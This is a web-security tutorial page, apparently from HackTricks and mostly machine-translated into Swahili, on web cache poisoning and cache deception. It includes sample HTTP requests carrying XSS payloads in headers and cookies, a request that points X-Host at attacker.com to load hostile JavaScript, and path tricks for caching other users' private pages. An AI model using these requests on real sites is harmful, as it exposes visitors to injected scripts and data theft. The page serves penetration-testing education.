# Uharibifu wa Cache na Udanganyifu wa Cache

{{#include ../../banners/hacktricks-training.md}}

## Tofauti

> **Nini tofauti kati ya uharibifu wa cache wa wavuti na udanganyifu wa cache wa wavuti?**
>
> - Katika **uharibifu wa cache wa wavuti**, mshambuliaji anasababisha programu kuhifadhi maudhui mabaya katika cache, na maudhui haya yanatolewa kutoka kwenye cache kwa watumiaji wengine wa programu.
> - Katika **udanganyifu wa cache wa wavuti**, mshambuliaji anasababisha programu kuhifadhi maudhui nyeti yanayomilikiwa na mtumiaji mwingine katika cache, na mshambuliaji kisha anapata maudhui haya kutoka kwenye cache.

## Uharibifu wa Cache

Uharibifu wa cache unalenga kubadilisha cache ya upande wa mteja ili kulazimisha wateja kupakua rasilimali ambazo hazitarajiwa, sehemu, au chini ya udhibiti wa mshambuliaji. Kiwango cha athari kinategemea umaarufu wa ukurasa ulioathiriwa, kwani jibu lililochafuliwa linatolewa pekee kwa watumiaji wanaotembelea ukurasa wakati wa kipindi cha uchafuzi wa cache.

Utendaji wa shambulio la uharibifu wa cache unajumuisha hatua kadhaa:

1. **Utambuzi wa Ingizo Lisilo na Funguo**: Hizi ni vigezo ambavyo, ingawa havihitajiki kwa ombi kuhifadhiwa kwenye cache, vinaweza kubadilisha jibu linalotolewa na seva. Kutambua vigezo hivi ni muhimu kwani vinaweza kutumika kubadilisha cache.
2. **Kutatua Vigezo Visivyo na Funguo**: Baada ya kutambua vigezo visivyo na funguo, hatua inayofuata ni kubaini jinsi ya kutumia vibaya vigezo hivi ili kubadilisha jibu la seva kwa njia inayonufaisha mshambuliaji.
3. **Kuhakikisha Jibu Lililochafuliwa Linahifadhiwa**: Hatua ya mwisho ni kuhakikisha kwamba jibu lililobadilishwa linahifadhiwa kwenye cache. Kwa njia hii, mtumiaji yeyote anayeingia kwenye ukurasa ulioathiriwa wakati cache imechafuliwa atapata jibu lililochafuliwa.

### Ugunduzi: Angalia vichwa vya HTTP

Kawaida, wakati jibu lime **hifadhiwa kwenye cache** kutakuwa na **kichwa kinachoonyesha hivyo**, unaweza kuangalia vichwa gani unapaswa kuzingatia katika chapisho hili: [**Vichwa vya Cache vya HTTP**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).

### Ugunduzi: Kihesabu makosa ya caching

Ikiwa unafikiria kwamba jibu linahifadhiwa kwenye cache, unaweza kujaribu **kutuma maombi yenye kichwa kibaya**, ambacho kinapaswa kujibiwa kwa **nambari ya hali 400**. Kisha jaribu kufikia ombi hilo kawaida na ikiwa **jibu ni nambari ya hali 400**, unajua lina udhaifu (na unaweza hata kufanya DoS).

Unaweza kupata chaguzi zaidi katika:

{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}

Hata hivyo, kumbuka kwamba **wakati mwingine aina hizi za nambari za hali hazihifadhiwi** hivyo jaribio hili linaweza kuwa halitegemezi.

### Ugunduzi: Tambua na tathmini vigezo visivyo na funguo

Unaweza kutumia [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) ili **kufanya brute-force vigezo na vichwa** ambavyo vinaweza kuwa **vinabadilisha jibu la ukurasa**. Kwa mfano, ukurasa unaweza kuwa unatumia kichwa `X-Forwarded-For` kuonyesha mteja kupakua script kutoka hapo:
```markup
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Pata jibu hatari kutoka kwa seva ya nyuma

Kwa kutumia parameter/header iliyotambuliwa angalia jinsi inavyosafishwa na wapi inavyoakisi au kuathiri jibu kutoka kwa header. Je, unaweza kuitumia kwa njia yoyote (fanya XSS au upakuaji wa msimbo wa JS unaodhibitiwa na wewe? fanya DoS?...)

### Pata jibu lililohifadhiwa

Mara tu unapokuwa umekutambua **ukurasa** ambao unaweza kutumiwa vibaya, ni **parameter**/**header** ipi ya kutumia na **jinsi** ya kuutumia vibaya, unahitaji kupata ukurasa huo uhifadhiwe. Kulingana na rasilimali unayojaribu kupata kwenye cache hii inaweza kuchukua muda, unaweza kuhitaji kujaribu kwa sekunde kadhaa.

Header **`X-Cache`** katika jibu inaweza kuwa muhimu sana kwani inaweza kuwa na thamani **`miss`** wakati ombi halijahifadhiwa na thamani **`hit`** wakati imehifadhiwa.\
Header **`Cache-Control`** pia ni ya kuvutia kujua ikiwa rasilimali inahifadhiwa na wakati itakuwa mara ya pili rasilimali hiyo itahifadhiwa tena: `Cache-Control: public, max-age=1800`

Header nyingine ya kuvutia ni **`Vary`**. Header hii mara nyingi hutumiwa ku **onyesha headers za ziada** ambazo zinachukuliwa kama **sehemu ya ufunguo wa cache** hata kama kawaida hazina ufunguo. Hivyo, ikiwa mtumiaji anajua `User-Agent` wa mwathirika anayelenga, anaweza kuharibu cache kwa watumiaji wanaotumia `User-Agent` hiyo maalum.

Header nyingine inayohusiana na cache ni **`Age`**. Inafafanua wakati katika sekunde kitu kimekuwa kwenye cache ya proxy.

Unapohifadhi ombi, kuwa **makini na headers unazotumia** kwa sababu baadhi yao wanaweza kutumika **kwa njia isiyotarajiwa** kama **keyed** na **mwathirika atahitaji kutumia header hiyo hiyo**. Daima **jaribu** Upoaji wa Cache na **vivinjari tofauti** ili kuangalia ikiwa inafanya kazi.

## Mifano ya Kutumia

### Mfano rahisi zaidi

Header kama `X-Forwarded-For` inakisiwa katika jibu bila kusafishwa.\
Unaweza kutuma payload ya msingi ya XSS na kuharibu cache ili kila mtu anayefikia ukurasa atakuwa na XSS:
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Note that this will poison a request to `/en?region=uk` not to `/en`_

### Cache poisoning to DoS

{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}

### Using web cache poisoning to exploit cookie-handling vulnerabilities

Cookies pia zinaweza kuakisiwa kwenye jibu la ukurasa. Ikiwa unaweza kuitumia vibaya kusababisha XSS kwa mfano, unaweza kuwa na uwezo wa kutumia XSS katika wateja kadhaa wanaopakia jibu la cache lenye uharibifu.
```markup
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Kumbuka kwamba ikiwa cookie iliyo hatarini inatumika sana na watumiaji, maombi ya kawaida yatakuwa yakisafisha cache.

### Kutengeneza tofauti na vichomozi, urekebishaji na nukta <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

Angalia:

{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}

### Kuambukiza cache kwa kutumia njia za kupita ili kuiba funguo za API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

[**Hii inayoandikwa inaelezea**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) jinsi ilivyowezekana kuiba funguo za OpenAI API kwa URL kama `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` kwa sababu chochote kinacholingana na `/share/*` kitakuwa cached bila Cloudflare kuimarisha URL, ambayo ilifanywa wakati ombi lilipofika kwenye seva ya wavuti.

Hii pia inaelezwa vizuri zaidi katika:

{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}

### Kutumia vichwa vingi ili kutumia udhaifu wa kuambukiza cache ya wavuti <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

Wakati mwingine utahitaji **kutumia ingizo kadhaa zisizo na funguo** ili uweze kutumia cache. Kwa mfano, unaweza kupata **Open redirect** ikiwa utaweka `X-Forwarded-Host` kwa kikoa kinachodhibitiwa na wewe na `X-Forwarded-Scheme` kuwa `http`. **Ikiwa** **seva** in **apeleka** maombi yote ya **HTTP** **kwenda HTTPS** na kutumia kichwa `X-Forwarded-Scheme` kama jina la kikoa kwa ajili ya kuhamasisha. Unaweza kudhibiti mahali ukurasa unapoelekezwa na kuhamasisha.
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Kutumia kwa njia isiyo na mipaka `Vary`header

Ikiwa umebaini kwamba **`X-Host`** header inatumika kama **jina la kikoa kupakia rasilimali ya JS** lakini **`Vary`** header katika jibu inaonyesha **`User-Agent`**. Basi, unahitaji kutafuta njia ya kutoa User-Agent wa mwathirika na kuharibu cache kwa kutumia user agent hiyo:
```markup
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
```
### Fat Get

Tuma ombi la GET na ombi katika URL na katika mwili. Ikiwa seva ya wavuti inatumia ile kutoka kwa mwili lakini seva ya cache inahifadhi ile kutoka kwa URL, mtu yeyote anayefikia URL hiyo atatumia parameter kutoka kwa mwili. Kama ile vuln James Kettle alipata kwenye tovuti ya Github:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim
```
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)

### Parameter Cloacking

Kwa mfano, inawezekana kutenganisha **parameters** katika seva za ruby kwa kutumia herufi **`;`** badala ya **`&`**. Hii inaweza kutumika kuweka thamani za parameters zisizo na ufunguo ndani ya zile zenye ufunguo na kuzitumia vibaya.

Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)

### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Jifunze hapa jinsi ya kufanya [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).

### Automated testing for Web Cache Poisoning

The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable.

Example usage: `wcvs -u example.com`

## Vulnerable Examples

### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))

ATS ilituma kipande ndani ya URL bila kukiondoa na kuunda ufunguo wa cache kwa kutumia tu mwenyeji, njia na swali (ikikosa kipande). Hivyo ombi `/#/../?r=javascript:alert(1)` lilitumwa kwa backend kama `/#/../?r=javascript:alert(1)` na ufunguo wa cache haukuwa na payload ndani yake, tu mwenyeji, njia na swali.

### GitHub CP-DoS

Kutuma thamani mbaya katika kichwa cha content-type kulisababisha jibu la 405 lililohifadhiwa. Ufunguzi wa cache ulikuwa na cookie hivyo ilikuwa inawezekana kushambulia watumiaji wasio na uthibitisho pekee.

### GitLab + GCP CP-DoS

GitLab inatumia GCP buckets kuhifadhi maudhui ya statiki. **GCP Buckets** inasaidia **kichwa `x-http-method-override`**. Hivyo ilikuwa inawezekana kutuma kichwa `x-http-method-override: HEAD` na kuharibu cache ili irejeshe mwili wa jibu tupu. Pia inaweza kusaidia njia `PURGE`.

### Rack Middleware (Ruby on Rails)

Katika programu za Ruby on Rails, Rack middleware mara nyingi hutumiwa. Lengo la msimbo wa Rack ni kuchukua thamani ya kichwa cha **`x-forwarded-scheme`** na kuipatia kama mpango wa ombi. Wakati kichwa `x-forwarded-scheme: http` kinatumwa, uhamasishaji wa 301 unafanyika kwa eneo lile lile, huenda kusababisha Denial of Service (DoS) kwa rasilimali hiyo. Zaidi ya hayo, programu inaweza kutambua kichwa cha `X-forwarded-host` na kuwahamisha watumiaji kwa mwenyeji aliyetajwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwa seva ya mshambuliaji, ikileta hatari ya usalama.

### 403 and Storage Buckets

Cloudflare hapo awali ilihifadhi majibu ya 403. Kujaribu kufikia S3 au Azure Storage Blobs kwa kichwa kisicho sahihi cha Uidhinishaji kutasababisha jibu la 403 ambalo lilihifadhiwa. Ingawa Cloudflare imeacha kuhifadhi majibu ya 403, tabia hii inaweza bado kuwepo katika huduma nyingine za proxy.

### Injecting Keyed Parameters

Caches mara nyingi hujumuisha parameters maalum za GET katika ufunguo wa cache. Kwa mfano, Varnish ya Fastly ilihifadhi parameter ya `size` katika maombi. Hata hivyo, ikiwa toleo lililowekwa URL la parameter (mfano, `siz%65`) lilitumwa pia na thamani isiyo sahihi, ufunguo wa cache ungejengwa kwa kutumia parameter sahihi ya `size`. Hata hivyo, backend ingepitia thamani katika parameter iliyoandikwa URL. Kuandika URL ya parameter ya pili ya `size` kulisababisha kuondolewa kwake na cache lakini kutumika na backend. Kuweka thamani ya 0 kwa parameter hii kulisababisha kosa la 400 Bad Request ambalo linaweza kuhifadhiwa.

### User Agent Rules

Wajenzi wengine huzuia maombi na user-agents yanayolingana na yale ya zana zenye trafiki kubwa kama FFUF au Nuclei ili kudhibiti mzigo wa seva. Kwa bahati mbaya, mbinu hii inaweza kuleta udhaifu kama vile kuharibu cache na DoS.

### Illegal Header Fields

The [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifies the acceptable characters in header names. Headers containing characters outside of the specified **tchar** range should ideally trigger a 400 Bad Request response. In practice, servers don't always adhere to this standard. A notable example is Akamai, which forwards headers with invalid characters and caches any 400 error, as long as the `cache-control` header is not present. An exploitable pattern was identified where sending a header with an illegal character, such as `\`, would result in a cacheable 400 Bad Request error.

### Finding new headers

[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)

## Cache Deception

Lengo la Cache Deception ni kufanya wateja **kupakia rasilimali ambazo zitahifadhiwa na cache zikiwa na taarifa zao nyeti**.

Kwanza kabisa, kumbuka kwamba **extensions** kama vile `.css`, `.js`, `.png` nk mara nyingi **zimewekwa** kuhifadhiwa katika **cache.** Hivyo, ikiwa unafikia `www.example.com/profile.php/nonexistent.js` cache itahifadhi jibu kwa sababu inaona **extension** ya `.js`. Lakini, ikiwa **programu** inajibu na **maudhui** nyeti ya mtumiaji yaliyohifadhiwa katika _www.example.com/profile.php_, unaweza **kuiba** maudhui hayo kutoka kwa watumiaji wengine.

Mambo mengine ya kujaribu:

- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
- _Tumia extensions zisizojulikana kama_ `.avif`

Mfano mwingine wazi sana unaweza kupatikana katika andiko hili: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Katika mfano, inaelezwa kwamba ikiwa unaleta ukurasa usio na kuwepo kama _http://www.example.com/home.php/non-existent.css_ maudhui ya _http://www.example.com/home.php_ (**pamoja na taarifa nyeti za mtumiaji**) yatarudishwa na seva ya cache itahifadhi matokeo.\
Kisha, **mshambuliaji** anaweza kufikia _http://www.example.com/home.php/non-existent.css_ katika kivinjari chao na kuona **taarifa za siri** za watumiaji ambao walifika hapo awali.

Kumbuka kwamba **cache proxy** inapaswa kuwa **imewekwa** kuhifadhi faili **kulingana** na **extension** ya faili (_.css_) na si kulingana na aina ya maudhui. Katika mfano _http://www.example.com/home.php/non-existent.css_ itakuwa na aina ya maudhui `text/html` badala ya aina ya mime `text/css` (ambayo inatarajiwa kwa faili ya _.css_).

Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).

## Automatic Tools

- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.

## References

- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
- [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)
- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)


{{#include ../../banners/hacktricks-training.md}}